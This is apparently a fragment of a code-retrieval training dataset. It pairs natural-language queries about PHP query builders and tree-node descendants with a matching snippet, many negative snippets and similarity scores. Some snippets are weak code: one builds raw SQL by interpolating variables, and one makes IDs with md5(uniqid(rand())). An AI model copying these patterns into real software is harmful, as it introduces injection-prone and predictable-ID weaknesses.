$this->createQueryBuilder();\n }", "public function newQuery()\n {\n return new Builder($this->connection, $this->processor);\n }", "public function forNestedWhere()\n {\n // ->from($this->from) is wrong, and ->from($this->type) is redundant in nested where\n return $this->newQuery()->from(null);\n }", "public function query(): QueryBuilder;", "public function getQueryBuilder() {\n return $this->queryBuilder;\n }", "public function getQueryBuilder();", "public function getQueryBuilder();", "public function subQuery() {\n $query = new SubQuery(Query::SELECT, $this->getRepository());\n $query->fields(func_get_args());\n\n return $query;\n }", "protected function toQuery() {\n\t\t$query = $this->mapper()->all($this->entityName(), $this->conditions())->order($this->relationOrder());\n\t\t$query->snapshot();\n\t\treturn $query;\n\t}", "public function scopeDepthFirst(Builder $query): Builder\n {\n $sql = $query->getExpressionGrammar()->compileOrderByPath();\n\n return $query->orderByRaw($sql);\n }", "public function descendants($self = FALSE, $direction = 'ASC', $direct_children_only = FALSE, $leaves_only = FALSE, $limit = FALSE)\n {\n $object_id = \"descendants_$self-$direction-$direct_children_only-$leaves_only-$limit\";\n if (! in_array($object_id, $this->_objects))\n {\n if ( !$this->loaded )\n $this->reload();\n\n $left_operator = $self ? '>=' : '>';\n $right_operator = $self ? '<=' : '<';\n \n $sql = \"SELECT * FROM $this->_table_name\n WHERE\n $this->left_column $left_operator $this->left\n AND $this->right_column $right_operator $this->right\n AND $this->scope_column = $this->scope\n \";\n\n if ($direct_children_only)\n {\n if ($self)\n {\n $sql .= \"AND (\n $this->level_column = $this->level\n OR $this->level_column = ($this->level + 1)\n )\\n\";\n }\n else\n {\n $sql .= \"AND $this->level_column = ($this->level + 1) \\n\";\n }\n }\n \n if ($leaves_only)\n {\n $sql .= \"AND $this->right_column = ($this->left_column + 1) \\n\";\n }\n \n $sql .= \"ORDER BY $this->left_column $direction \\n\";\n \n if ($limit !== FALSE)\n {\n $sql .= \"LIMIT $limit \\n\";\n }\n \n $result = $this->_db->query($sql);\n $this->_objects[$object_id] = $this->factory_set($result);\n }\n return $this->_objects[$object_id];\n }", "protected function toQuery()\n\t{\n\t\treturn $this->mapper()->all($this->entityName(), $this->conditions())->order($this->relationOrder())->first();\n\t}", "public function getQueryBuilder()\n {\n $qb = $this->repository->createQueryBuilder(self::ALIAS);\n\n $qb->leftJoin(self::ALIAS.'.ips', 'ips')\n ->leftJoin(self::ALIAS.'.tags', 'tags')\n ->select('machine')\n ->addSelect('COUNT(DISTINCT ips.id) AS ipsCount')\n ->addSelect(\"string_agg(tags.label, ',') AS tagsConcat\")\n ->groupBy(self::ALIAS);\n\n return $qb;\n }", "protected function query(): Builder\n {\n $query = $this->make()->newQuery();\n\n // Loads the active model if set, for use in getOne(), update(), delete(), etc.\n if ($this->activeModelInstance) {\n $query->where(\n $this->activeModelInstance->getKeyName(),\n $this->activeModelInstance->getKey()\n );\n }\n\n return $query;\n }", "public static function getQueryBuilder()\n {\n return self::getLink()->createQueryBuilder();\n }", "public function children() {\n return $this->descendants(1);\n }", "public function newQuery($excludeDeleted = true)\n {\n $builder = new TermTaxonomyBuilder($this->newBaseQueryBuilder());\n $builder->setModel($this)->with($this->with);\n\n if (isset($this->taxonomy) &&\n !empty($this->taxonomy) &&\n !is_null($this->taxonomy))\n {\n $builder->where('taxonomy', $this->taxonomy);\n }\n return $builder;\n }", "public function childrenElements() {\n\t\treturn $this->hasMany('\\App\\Hierarchy', 'parent_id', 'id');\n\t}", "public function children()\n\t{\n\t\treturn $this->descendants(1);\n\t}", "public function query(): Builder\n {\n return Role::query()\n ->when($this->getFilter('activeFilter'), function ($query, $active) {\n if ($active === 'yes') {\n return $query->where('is_active', 1);\n }\n\n return $query->where('is_active', 0);\n });\n }", "public function newQuery()\n {\n return new Builder($this->connection, $this->grammar, $this->processor);\n }", "public function getQueryBuilder()\n {\n return $this->qb;\n }", "public function getQueryBuilder()\n {\n return $this->qb;\n }", "public function newQuery($excludeDeleted = true)\n {\n $builder = new PostBuilder($this->newBaseQueryBuilder());\n $builder->setModel($this)->with($this->with);\n $builder->orderBy('post_date', 'desc');\n\n if (isset($this->postType) and $this->postType) {\n $builder->type($this->postType);\n }\n\n if ($excludeDeleted and $this->softDelete) {\n $builder->whereNull($this->getQualifiedDeletedAtColumn());\n }\n\n return $builder;\n }", "private function getRemainingQueryBuilder()\n {\n $qb = $this->createQueryBuilder('o');\n $ex = $qb->expr();\n\n $qb\n ->select('o')\n ->where($ex->andX(\n $ex->eq('o.sample', ':sample'), // Not sample\n $ex->eq('o.state', ':state'), // Accepted\n $ex->lt('o.invoiceTotal', 'o.grandTotal') // invoice total lower than grand total\n ))\n ->addOrderBy('o.createdAt', 'ASC')\n ->setParameter('sample', false)\n ->setParameter('state', OrderStates::STATE_ACCEPTED);\n\n return $qb;\n }", "function &sql_fetch_children( $inQueryString, $rootNode, $idField = \"id\", $parentField = \"parent\") {\n\tsql_connect();\n\tglobal $defaultdb;\n\t$return = $defaultdb->fetch_children($inQueryString,$rootNode,$idField,$parentField);\n\treturn $return;\n}", "public function selectDescendantElements ( $F = null ) {\n\n return $this->getStream()->selectDescendantElements($F);\n }", "function _wswwpx_page_get_descendant_ids ( $parent = 0, $inclusive=true ) {\n \tif ( $parent && $inclusive ) $descendants[] = $parent;\n \tif ( $children = _wswwpx_page_get_child_ids ( $parent ) ) {\n \t\tforeach ( $children as $child ) {\n \t\t\t$descendants[] = $child;\n \t\t\t$grandchildren = _wswwpx_page_get_child_ids ( $child );\n \t\t}\n \t}\n \t//\n \treturn $descendants;\n }", "public function query() {\n $query = parent::query();\n $query->join('book', 'b', 'n.nid = b.nid');\n $query->join('menu_links', 'ml', 'b.mlid = ml.mlid');\n $query->isNotNull('ml.mlid');\n return $query;\n }", "public function ancestorsGetDescendants($exclude_this=true)\r\n {\r\n $model = (new static)->setState('filter.path_begins_with', $this->path);\r\n if ($exclude_this) {\r\n \t$model->setState('filter.ids_excluded', array( $this->id ));\r\n } \r\n $items = $model->getItems();\r\n\r\n return $items;\r\n }", "protected function createQuery()\n {\n return \\PropelQuery::from($this->class);\n }", "public static function create()\n {\n return new QueryConfigurationBuilder();\n }", "private function getInitialisedQueryBuilder()\n\t{\n\t\t$qb = $this->em->createQueryBuilder()\n\t\t\t->add(\"select\", \"r\")\n\t\t\t->add(\"from\", \"RecruiterRecruitBundle:Recruit r\")\n\t\t;\n\t\t\n\t\treturn $qb;\n\t}", "public function scopeReceivers(Builder $query): Builder\n {\n return $this->scopeKind($query, 'receiver');\n }", "public function scopeSubgraph(Builder $query, callable $constraint, int $maxDepth = null): Builder\n {\n return $query->withRelationshipExpression('desc', $constraint, 0, null, $maxDepth);\n }", "public function newQuery()\n {\n $datasource = $this->getDatasource();\n\n $query = new Builder($datasource, $datasource->getPostProcessor());\n\n return $query->setModel($this);\n }", "public function setEagerLoaded(bool $eagerLoaded): Builder;", "public function getQuery()\n {\n $query = $this->createQueryBuilder('m');\n\n return $query;\n }", "public function getDishesAndVariations()\n {\n $query = $this->createQueryBuilder('d');\n $qb2 = $this->createQueryBuilder('s');\n\n $qb2->select('IDENTITY(s.parent)');\n $qb2->where('IDENTITY(s.parent) is not null');\n $qb2->distinct(true);\n\n $query->select('d');\n $query->where(\n $query->expr()->notIn('d.id', $qb2->getDQL())\n );\n\n return $query;\n }" ]
[ "0.6369904", "0.6067729", "0.60116416", "0.59157914", "0.5892921", "0.57832295", "0.5748616", "0.57383394", "0.5737618", "0.57343405", "0.5687902", "0.5665829", "0.56632423", "0.5636539", "0.5615965", "0.561082", "0.5604218", "0.56036675", "0.55853957", "0.5583348", "0.5578328", "0.5569789", "0.55670637", "0.5559756", "0.55413353", "0.5535583", "0.5525562", "0.5523377", "0.5523377", "0.5522922", "0.5502202", "0.54881066", "0.547315", "0.5468399", "0.5464149", "0.54456943", "0.5444307", "0.5429125", "0.54238707", "0.54238707", "0.54040056", "0.53901005", "0.5382776", "0.53789747", "0.53744847", "0.53718895", "0.5360682", "0.53531545", "0.5345099", "0.53137517", "0.52939284", "0.5290511", "0.5289636", "0.5278919", "0.5269222", "0.5262154", "0.5249354", "0.5244711", "0.52427", "0.52262926", "0.5215527", "0.52153444", "0.5214091", "0.51960444", "0.5192614", "0.51813734", "0.5181002", "0.5181002", "0.5175745", "0.51732826", "0.51695585", "0.5167608", "0.5167141", "0.51669836", "0.51568776", "0.5152625", "0.51495934", "0.5147906", "0.51460314", "0.5127831", "0.5114123", "0.5110919", "0.5104212", "0.5104212", "0.5093346", "0.5091465", "0.50802857", "0.5063192", "0.50470024", "0.50405234", "0.50391763", "0.500119", "0.49683544", "0.4958745", "0.49558517", "0.49524182", "0.4931651", "0.49314016", "0.49227285", "0.49159822" ]
0.67344344
0
Returns the Query Builder to select all nodes that are not descendants of a given node.
public function getNodeNotDescendantsQueryBuilder(NodeInterface $node) { $qb = $this->getNodeTreeQueryBuilder(); $qb->where('c.lft < :lft OR c.rgt > :rgt') ->setParameter('lft', $node->getLeft()) ->setParameter('rgt', $node->getRight()); return $qb; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function newQueryWithoutRelationships();", "private function findNotSoldQuery() : QueryBuilder\n {\n return $this\n ->createQueryBuilder('p')\n ->where('p.sold = false')\n ->orderBy('p.created_at', 'ASC');\n }", "public function whereNotEq()\n {\n \n list($field, $value) = $this->extractQueryToFieldAndValue(func_get_args());\n $this->_conditions[self::WHERENOT][$field] = [self::OPERATORS['ne'] => $value];\n return $this;\n }", "public function whereNotIn()\n {\n list($field, $value) = $this->extractQueryToFieldAndValue(func_get_args());\n $this->_conditions[self::WHERENOTIN][$field] = [self::OPERATORS['nin'] => $value];\n return $this;\n }", "protected function sourceQuery(){\n $query = parent::sourceQuery();\n $query->condition('i.field_name', array_keys($this->getFieldNameMappings()), 'NOT IN');\n return $query;\n }", "public function newQueryWithoutScopes(): Builder\n {\n return $this->newModelQuery();\n }", "public function createNot()\n {\n $o = new NotSelector();\n $this->appendSelector($o);\n\n return $o;\n }", "public function newQueryWithoutScopes()\n {\n $builder = $this->newBuilder();\n\n // Once we have the query builders, we will set the model instances so the\n // builder can easily access any information it may need from the model\n // while it is constructing and executing various queries against it.\n return $builder->setModel($this);\n }", "public function whereNotBetween($column, $value, $boolean='and') : Query\n {\n return $this->whereBetween($column, $value, $boolean, true);\n }", "public function notGroupStart(): QueryBuilderInterface\n\t{\n\t\t$conj = empty($this->state->getQueryMap()) ? ' WHERE ' : ' AND ';\n\n\t\t$this->state->appendMap($conj, ' NOT (', 'group_start');\n\n\t\treturn $this;\n\t}", "public function getNodeTreeQueryBuilder()\n {\n $qb = $this->repository\n ->createQueryBuilder('c')\n ->select('c, p')\n ->leftJoin('c.parent', 'p')\n ->orderBy('c.lft');\n\n return $qb;\n }", "public function where_not($query, $params = array(), $boolean = 'and')\r\n {\r\n return $this->where($query, $params, $boolean, true);\r\n }", "public function neq(): WhereCondition\n {\n\n $this->_op = self::OP_TYPE_NEQ;\n\n return $this;\n\n }", "public function scopeNotEnabled($query): \\Illuminate\\Database\\Eloquent\\Builder\n {\n return $query->enabled(false);\n }", "protected function _negateQuery($query) {\n $field = $query->options()['fields'][0];\n\n $negativeQuery = new AdvancedQuery($query->model(), 'all', [\n 'fields' => [\n $field\n ],\n 'conditions' => [\n QueryCondition::comparison($field, 'NOT IN', $query)\n ]\n ]);\n\n return $negativeQuery;\n }", "public function getNodeDescendantsQueryBuilder(NodeInterface $node)\n {\n $qb = $this->getNodeTreeQueryBuilder();\n $qb->where('c.lft > :lft AND c.rgt < :rgt')\n ->setParameter('lft', $node->getLeft())\n ->setParameter('rgt', $node->getRight());\n\n return $qb;\n }", "public function scopeNonSystem(Builder $query): Builder\n {\n return $query->whereIn('type', self::NonSystemTypes);\n }", "public function notWhereOpen()\n\t{\n\t\t$this->where[] = array(\n\t\t\t'type' => 'and',\n\t\t\t'not' => true,\n\t\t\t'nesting' => 'open',\n\t\t);\n\n\t\treturn $this;\n\t}", "public function not($selector = null) {\r\n\t\t\r\n\t\tif (!isset($selector)) return $this;\r\n\t\t\r\n\t\tif (is_string($selector)) {\r\n\t\t\t\r\n\t\t\tforeach ($this as $index => $node) \r\n\t\t\t\tforeach ($this->filter($selector) as $n)\r\n\t\t\t\t\tif ($node->isSameNode($n)) $this->removeFromList($index);\r\n\t\t} elseif (is_object($selector) AND get_class($selector) === 'DOMElement') {\r\n\t\t\t\r\n\t\t\tif (in_array($selector, $this->list)) $this->removeFromList($this->index($selector));\r\n\t\t} elseif (is_array($selector)) {\r\n\t\t\t\r\n\t\t\tforeach ($selector as $node) {\r\n\t\t\t\tif (is_object($node) == false) continue;\r\n\t\t\t\t\r\n\t\t\t\tif (in_array($node, $this->list)) $this->removeFromList($this->index($node));\r\n\t\t\t}\r\n\t\t}\r\n\t\t\r\n\t\treturn $this;\r\n\t}", "public function isNot(): WhereCondition\n {\n\n $this->_op = self::OP_TYPE_ISN;\n\n return $this;\n\n }", "public function prunable(): Builder\n {\n return static::whereDoesntHave('bookings', function (Builder $query) {\n return $query->whereState('state', CheckedOut::class);\n })\n ->where(function ($query) {\n // User has never logged in and was created more than a year ago.\n $query->whereNull('last_logged_in_at')\n ->whereDate('created_at', '<=',\n now()->subDays(config('hydrofon.prune_models_after_days.users', 365)));\n })\n ->orWhere(function ($query) {\n // User has logged in but not been active for more than a year.\n $query->whereNotNull('last_logged_in_at')\n ->whereDate('last_logged_in_at', '<=',\n now()->subDays(config('hydrofon.prune_models_after_days.users', 365)));\n });\n }", "private function getRemainingQueryBuilder()\n {\n $qb = $this->createQueryBuilder('o');\n $ex = $qb->expr();\n\n $qb\n ->select('o')\n ->where($ex->andX(\n $ex->eq('o.sample', ':sample'), // Not sample\n $ex->eq('o.state', ':state'), // Accepted\n $ex->lt('o.invoiceTotal', 'o.grandTotal') // invoice total lower than grand total\n ))\n ->addOrderBy('o.createdAt', 'ASC')\n ->setParameter('sample', false)\n ->setParameter('state', OrderStates::STATE_ACCEPTED);\n\n return $qb;\n }", "public function whereNotIn($field, $val=[]): QueryBuilderInterface\n\t{\n\t\treturn $this->_whereIn($field, $val, 'NOT IN');\n\t}", "public function newQueryWithoutScopes()\n {\n $builder = $this->newEloquentBuilder($this->newBaseQueryBuilder());\n\n\n // Once we have the query builders, we will set the model instances so the\n // builder can easily access any information it may need from the model\n // while it is constructing and executing various queries against it.\n\n return $builder->setModel($this)\n //->setfillableColumns($this->fillable)\n ->with($this->with)\n ->withCount($this->withCount);\n }", "protected function createAddEmptyNodeQuery()\n {\n $db = $this->dbh;\n\n $q = $db->createInsertQuery();\n $q->insertInto( $db->quoteIdentifier( $this->indexTableName ) )\n ->set( 'parent_id', $q->bindValue( null ) );\n\n return $q;\n }", "public function getNodes():ActiveQuery\n {\n return $this\n ->hasMany(Node::class, ['id' => 'nodeId'])\n ->viaTable(NodeBloc::tableName(), ['blocId' => 'id']);\n }", "protected function getTableQuery(): Builder\n {\n return parent::getTableQuery()->withoutDrafts();\n }", "public function scopeNotProvider(Builder $query,\n MessengerProvider $provider,\n string $morph = 'owner'): Builder\n {\n return $this->scopeForProvider($query, $provider, $morph, true);\n }", "public function orNotGroupStart(): QueryBuilderInterface\n\t{\n\t\t$this->state->appendMap('', ' OR NOT (', 'group_start');\n\n\t\treturn $this;\n\t}", "public function forNestedWhere()\n {\n // ->from($this->from) is wrong, and ->from($this->type) is redundant in nested where\n return $this->newQuery()->from(null);\n }", "public function removeAll()\n {\n if ($this->nodes !== null) {\n foreach ($this->nodes as $node) {\n $node->parent = null;\n }\n }\n $this->nodes = [];\n\n return $this;\n }", "public static function buildNot(Criterion $criterion)\n {\n return new LogicalNot($criterion);\n }", "public function getOrphaned() {\r\n\t\t\r\n\t\t$query = \"SELECT * FROM $this->att WHERE $this->att.event_id = 0\";\r\n\t\t\t\t\r\n\t\treturn $this->executeQuery($query);\r\n\t}", "public function whereNot($attribute, $value = null, $boost = 1.0)\n {\n $this->whereNot[] = [$attribute, $value, $boost ?: 1.0];\n return $this;\n }", "public function filterByWithoutLength()\n {\n $this->query->andWhere($this->query->expr()->isNull('b.length'));\n }", "public function andNotWhereOpen()\n\t{\n\t\t$this->where[] = array(\n\t\t\t'type' => 'and',\n\t\t\t'not' => true,\n\t\t\t'nesting' => 'open',\n\t\t);\n\n\t\treturn $this;\n\t}", "public function Filter_Not() {\r\n\t\treturn array(\r\n\t\t\t'where' => '0'\r\n\t\t);\r\n\t}", "public function orWhereNotBetween($column, $value) : Query\n {\n return $this->orWhereBetween($column, $value, true);\n }", "public function newQueryWithoutScopes();", "public function getManyNotPublished(QueryBuilder $builder)\n {\n return $this->getManyNotPublishedFrom(Content::query()->with('type'), $builder);\n }", "public function orWhereNotEq()\n {\n list($field, $value) = $this->extractQueryToFieldAndValue(func_get_args());\n return $this->addOrWhereStack([$field => [self::OPERATORS['ne'] => $value]]);\n }", "public function getNodeAscendantsQueryBuilder(NodeInterface $node)\n {\n $qb = $this->getNodeTreeQueryBuilder();\n $qb->where('c.lft <= :lft AND c.rgt >= :rgt')\n ->setParameter('lft', $node->getLeft())\n ->setParameter('rgt', $node->getRight());\n\n return $qb;\n }", "public function nonRenewing(): AccountChargebeeQueryContract\n {\n return $this->whereStatus($this->getModel()::NON_RENEWING);\n }", "public function nonLeaveAbsences()\n {\n return $this->hasMany('App\\Models\\Absence', 'personnel_no', 'personnel_no')\n ->excludeLeaves();\n }", "public function not() {\n\t\t$this->not = '!';\n\t\treturn $this;\n\t}", "public function scopeWithinNot($query, $value, $column = null)\n {\n return $query->whereNotIn($this->tableCol($column ?: 'id'), to_array($value));\n }", "public function orWhereNotIn()\n {\n list($field, $value) = $this->extractQueryToFieldAndValue(func_get_args());\n if (!is_array($value)) {\n $value = [$value];\n }\n return $this->addOrWhereStack([$field => [self::OPERATORS['nin'] => $value]]); \n }", "public function tag_excluding($excluded_tags = false)\n {\n\n if (!is_array($excluded_tags)) {\n $tags = [$excluded_tags];\n } else {\n $tags = $excluded_tags;\n }\n\n return $this->tags->where('tag', 'NOT IN', $tags)->find();\n\n }", "public function assertGraphQLNotBroadcasted(): self\n {\n return $this;\n }", "public function tags_excluding($excluded_tags = false)\n {\n\n if (!is_array($excluded_tags)) {\n $tags = [$excluded_tags];\n } else {\n $tags = $excluded_tags;\n }\n\n return $this->tags->where('tag', 'NOT IN', $tags)->find_all();\n\n }", "public static function whereIsNot($column, $boolean = 0)\n {\n return static::where($column, '=', $boolean);\n }", "public function negate()\n\t{\n\t\tif($this->sWhere == '')\n\t\t{\n\t\t\t$this->sWhere = 'FALSE';\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$this->sWhere = 'NOT (' . $this->sWhere . ')';\n\t\t}\n\t}", "public function scopeExcludeSpecificWhitelisted($query)\n {\n return $query->whereDoesntHave('tags', function ($query) {\n $query->whereIn('tag', config('telescope-pruning.specific_tags', []));\n });\n }", "public function notEqualTo($value)\n {\n $this->addCompoundConstraint('$ne', $value);\n return $this;\n }", "public function getExcludeQueryPart() {}", "public function getNodesQueryBuilder($parentId=null)\n {\n // Get class metadata\n $metadata = $this->getClassMetadata();\n\n // Create the query builder\n $queryBuilder = $this->_em->createQueryBuilder();\n\n $queryBuilder\n ->select('node')\n ->from($metadata->name, 'node');\n\n // Get the name of the parent field\n $parentColumn = $metadata->closureTree['parent']['fieldName'];\n\n if (!$parentId) {\n $queryBuilder->where('node.'. $parentColumn .' IS NULL');\n } else {\n $queryBuilder->where('node.'. $parentColumn .' = :parentId')->setParameter('parentId', $parentId);\n }\n\n return $queryBuilder;\n }", "public static function whereNotExists($query, array $bindings = []);", "public function nonVisible()\n {\n $visible = [];\n\n foreach ($this->items as $path => $slug) {\n $page = $this->pages->get($path);\n if ($page !== null && !$page->visible()) {\n $visible[$path] = $slug;\n }\n }\n $this->items = $visible;\n\n return $this;\n }", "public function negate()\n {\n $this->_not = true;\n return $this;\n }", "public function noDeps()\n {\n $this->option('--no-deps');\n\n return $this;\n }", "public function whereNotIn(Builder $query, array $where = [], array $allowedFields = []): Builder\n {\n foreach ($where as $column => $in) {\n if (!in_array($column, $allowedFields)) {\n throw new Exception(\"O indice '{$column}' não esta habilitado!\", 1);\n }\n $query->whereNotIn($column, explode(',', $in));\n }\n\n return $query;\n }", "public function notActive()\n {\n return $this->andWhere([User::tableName() . '.status' => User::STATUS_INACTIVE]);\n }", "protected function nonbillable()\n {\n return $this->builder->where('billable', false);\n }", "public function ancestorsGetDescendants($exclude_this=true)\r\n {\r\n $model = (new static)->setState('filter.path_begins_with', $this->path);\r\n if ($exclude_this) {\r\n \t$model->setState('filter.ids_excluded', array( $this->id ));\r\n } \r\n $items = $model->getItems();\r\n\r\n return $items;\r\n }", "public function notLike(string $field, $val, string $pos='both'): QueryBuilderInterface\n\t{\n\t\treturn $this->_like($field, $val, $pos, 'NOT LIKE');\n\t}", "function NotWhere ($whereclause)\n\t{\n\t\t$this->clause = $whereclause;\n\t}", "public function getDoktypeExcludeWhere() {}", "public function orNotWhereOpen()\n\t{\n\t\t$this->where[] = array(\n\t\t\t'type' => 'or',\n\t\t\t'not' => true,\n\t\t\t'nesting' => 'open',\n\t\t);\n\n\t\treturn $this;\n\t}", "public function scopeWhereNotOrganization($query)\n {\n return $query->whereNull('organization_goal_id');\n }", "public function exclusions(): ExclusionsRequestBuilder {\n return new ExclusionsRequestBuilder($this->pathParameters, $this->requestAdapter);\n }", "public function noGutters()\n {\n $this->data(['guttersClass' => 'no-gutters']);\n return $this;\n }", "public function newQuery($excludeDeleted = true)\n {\n $query = parent::newQuery($excludeDeleted);\n $query->where('taxonomy', '=', 'post_tag');\n\n return $query;\n }", "public function getDishesAndVariations()\n {\n $query = $this->createQueryBuilder('d');\n $qb2 = $this->createQueryBuilder('s');\n\n $qb2->select('IDENTITY(s.parent)');\n $qb2->where('IDENTITY(s.parent) is not null');\n $qb2->distinct(true);\n\n $query->select('d');\n $query->where(\n $query->expr()->notIn('d.id', $qb2->getDQL())\n );\n\n return $query;\n }", "public function allWithoutTree()\n {\n return HandbookCategory::all();\n }", "public function scopeNotMonitored($query)\n {\n return $query->whereDoesntHave('tags', function ($query) {\n $query->whereIn('tag', function ($query) {\n $query->select('tag')->from('telescope_monitoring');\n });\n });\n }", "private function getBlockSelectQuery(): QueryBuilder\n {\n $query = $this->connection->createQueryBuilder();\n $query->select('DISTINCT b.*, bt.*')\n ->from('ngbm_block', 'b')\n ->innerJoin(\n 'b',\n 'ngbm_block_translation',\n 'bt',\n $query->expr()->andX(\n $query->expr()->eq('bt.block_id', 'b.id'),\n $query->expr()->eq('bt.status', 'b.status')\n )\n );\n\n return $query;\n }", "protected function whereNotInSub(Builder $query, array $where)\n {\n return $this->wrap($where['column']) . ' not in (' . $this->compileSelect($where['query']) . ')';\n }", "public function notSearchable(): Column\n {\n return $this->booleanAttribute('searchable', false);\n }", "public function whereNotBetween(string $field, array $value, string $boolean = 'must'): self\n\t{\n\t\t$term = [\n\t\t\t'range' => [\n\t\t\t\t$field => [\n\t\t\t\t\t'gte' => $value[0],\n\t\t\t\t\t'lte' => $value[1],\n\t\t\t\t],\n\t\t\t],\n\t\t];\n\t\t$this->setNegativeCondition($term, $boolean);\n\n\t\treturn $this;\n\t}", "public function scopeWhereSlugNotIn(Builder $scope, string|array $slugs): Builder;", "public function onlyDeepest()\n {\n return $this->filter(function (HasParentInterface $attribute): bool {\n return !$this->getByParent($attribute);\n });\n }", "public function resetBuilder()\n {\n $this->where = [];\n $this->whereNot = [];\n $this->inRange = [];\n $this->notInRange = [];\n $this->exist = [];\n $this->whereTerms = [];\n $this->match = [];\n $this->query = new BoolQuery();\n $this->filter = new BoolQuery();\n\n return $this;\n }", "public function newQueryWithoutScope($scope);", "public function notNull(): FluidColumnOptions\n {\n $this->column->setNotnull(true);\n return $this;\n }", "function wp_filter_out_block_nodes($nodes)\n {\n }", "public function prune($moneda = null)\n {\n if ($moneda) {\n $this->addUsingAlias(MonedaPeer::ID, $moneda->getId(), Criteria::NOT_EQUAL);\n }\n\n return $this;\n }", "public function addWhereNotExistsQuery(IlluminateQueryBuilder $query, $boolean = 'and')\n {\n $type = 'Exists';\n $operator = '==';\n $value = 0;\n\n $query->grammar->compileSelect($query);\n\n if ($query->limit != 1) {\n $query->aqb = $query->aqb->length($query->aqb);\n }\n\n if (isset($query->limit) && $query->limit == 1) {\n $query->aqb = $query->aqb->first($query->aqb);\n $value = null;\n }\n\n $this->wheres[] = compact('type', 'query', 'operator', 'value', 'boolean');\n\n return $this;\n }", "private function removeIrrelevantChildren(\\DOMNode $node)\n {\n if ($node->hasChildNodes()) {\n foreach ($node->childNodes as $child) {\n if (is_a($child, \\DOMText::class) && strlen(trim($child->wholeText)) === 0) {\n $node->removeChild($child);\n $this->removeIrrelevantChildren($node);\n }\n }\n }\n }", "public function noValidate()\n {\n $this->attribute['novalidate'] = false;\n return $this;\n }", "public function deleteDescendants(BaseObject $node, $peer_method='doSelect')\n {\n $peer_name = get_class($node->getPeer());\n $stub_name = get_class($node);\n\n $c = new Criteria();\n $c1 = $c->getNewCriterion(self::getColumnConstant($stub_name, 'left'), $node->getLeftValue(), Criteria::GREATER_THAN);\n $c2 = $c->getNewCriterion(self::getColumnConstant($stub_name, 'right'), $node->getRightValue(), Criteria::LESS_THAN);\n\n $c1->addAnd($c2);\n\n $c->add($c1);\n $c->add(self::getColumnConstant($stub_name, 'scope'), $node->getScopeIdValue());\n // order the nodes ascending (deletes leafes only in the foreach loop)\n $c->addAscendingOrderByColumn(self::getColumnConstant($stub_name, 'right'));\n\n // Nodes are not directly deleted because we need to maintain adjacency list properties\n $descendants = call_user_func(array($peer_name, $peer_method), $c);\n\n foreach ($descendants as $descendant)\n {\n $descendant->delete();\n }\n }", "public function whereNotExists(string $field, string $boolean = 'must'): self\n\t{\n\t\t$term = [\n\t\t\t'exists' => [\n\t\t\t\t'field' => $field,\n\t\t\t],\n\t\t];\n\t\t$this->setNegativeCondition($term, $boolean);\n\n\t\treturn $this;\n\t}", "public function createStandardQueryBuilder()\n {\n return $this->createQueryBuilder()\n ->field('status')->notEqual(MultimediaObject::STATUS_PROTOTYPE)\n ->field('islive')->equals(false);\n }", "public function except($clause)\n {\n // $prop = '_' . $clause;\n \n switch ($clause) {\n case 'distinct':\n case 'from':\n case 'offset':\n case 'limit':\n case 'page':\n case 'per_page':\n $this->$clause = null;\n break;\n \n case 'select':\n case 'joins':\n case 'where':\n case 'where_params':\n case 'order':\n case 'group':\n case 'having':\n case 'having_params':\n $this->$clause = [];\n break;\n }\n return $this;\n }", "public function whereNot($col, $operator = self::NO_OPERATOR, $value = self::NO_VALUE);", "protected function whereNotExists(Builder $query, array $where)\n {\n return 'not exists (' . $this->compileSelect($where['query']) . ')';\n }", "public function emptyNode() {\r\n\t\t\r\n\t\tforeach ($this as $node) $node->nodeValue = '';\r\n\t\t\r\n\t\treturn $this;\r\n\t}", "public function notDeletedOnly()\n\t{\n\t\tunset( $this->parameters['deletedOnly'] );\n\n\t\treturn $this;\n\t}", "public function notInValue(): WhereCondition\n {\n\n $this->_op = self::OP_TYPE_NIN;\n\n return $this;\n\n }", "public static function assertHasNoXPath($node, $selector, array $filters = array(), $message = NULL)\n\t{\n\t\treturn \\PHPUnit_Framework_Assert::assertThat($node, new Constraint_Locator_Negative('xpath', $selector, $filters), $message);\n\t}", "public function whereNotInQuery($field, $className, $array) {\n\t$this->parseQuery->whereNotInQuery($field, $className, $array);\n }" ]
[ "0.591824", "0.5860476", "0.5846658", "0.57491595", "0.5716643", "0.5701002", "0.5688973", "0.56481946", "0.5634945", "0.5625262", "0.55713594", "0.5530799", "0.548697", "0.5470394", "0.5470253", "0.54560655", "0.54117244", "0.5397437", "0.5389121", "0.53789645", "0.5346176", "0.53042483", "0.5286376", "0.5249538", "0.52473366", "0.523717", "0.5219204", "0.52072644", "0.5178219", "0.51652235", "0.51556736", "0.5146674", "0.5137237", "0.5130013", "0.5118914", "0.5118462", "0.5099425", "0.5098601", "0.5096282", "0.5095905", "0.5089147", "0.5082596", "0.50696105", "0.5050286", "0.49960262", "0.49823385", "0.4975095", "0.49544138", "0.49350417", "0.4933957", "0.49282467", "0.49261487", "0.4925974", "0.49241635", "0.4920892", "0.491299", "0.49084464", "0.4906683", "0.4905915", "0.4898005", "0.48882467", "0.4875251", "0.48603854", "0.48438585", "0.4823657", "0.48117468", "0.48089257", "0.4808264", "0.48064464", "0.4771309", "0.47685057", "0.47603664", "0.47590673", "0.47578737", "0.4745316", "0.47447443", "0.47316214", "0.4729147", "0.4726901", "0.47180465", "0.47173414", "0.47160208", "0.47098154", "0.46908522", "0.4690073", "0.46889496", "0.4688366", "0.4683433", "0.46745324", "0.46740454", "0.46731117", "0.46730667", "0.46656865", "0.4659132", "0.46526617", "0.46455157", "0.46440905", "0.4633495", "0.46300793", "0.4595546" ]
0.75435907
0
getUniqueID Genere un ID unique
function getUniqueID(){ return md5(uniqid(rand(), true)); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
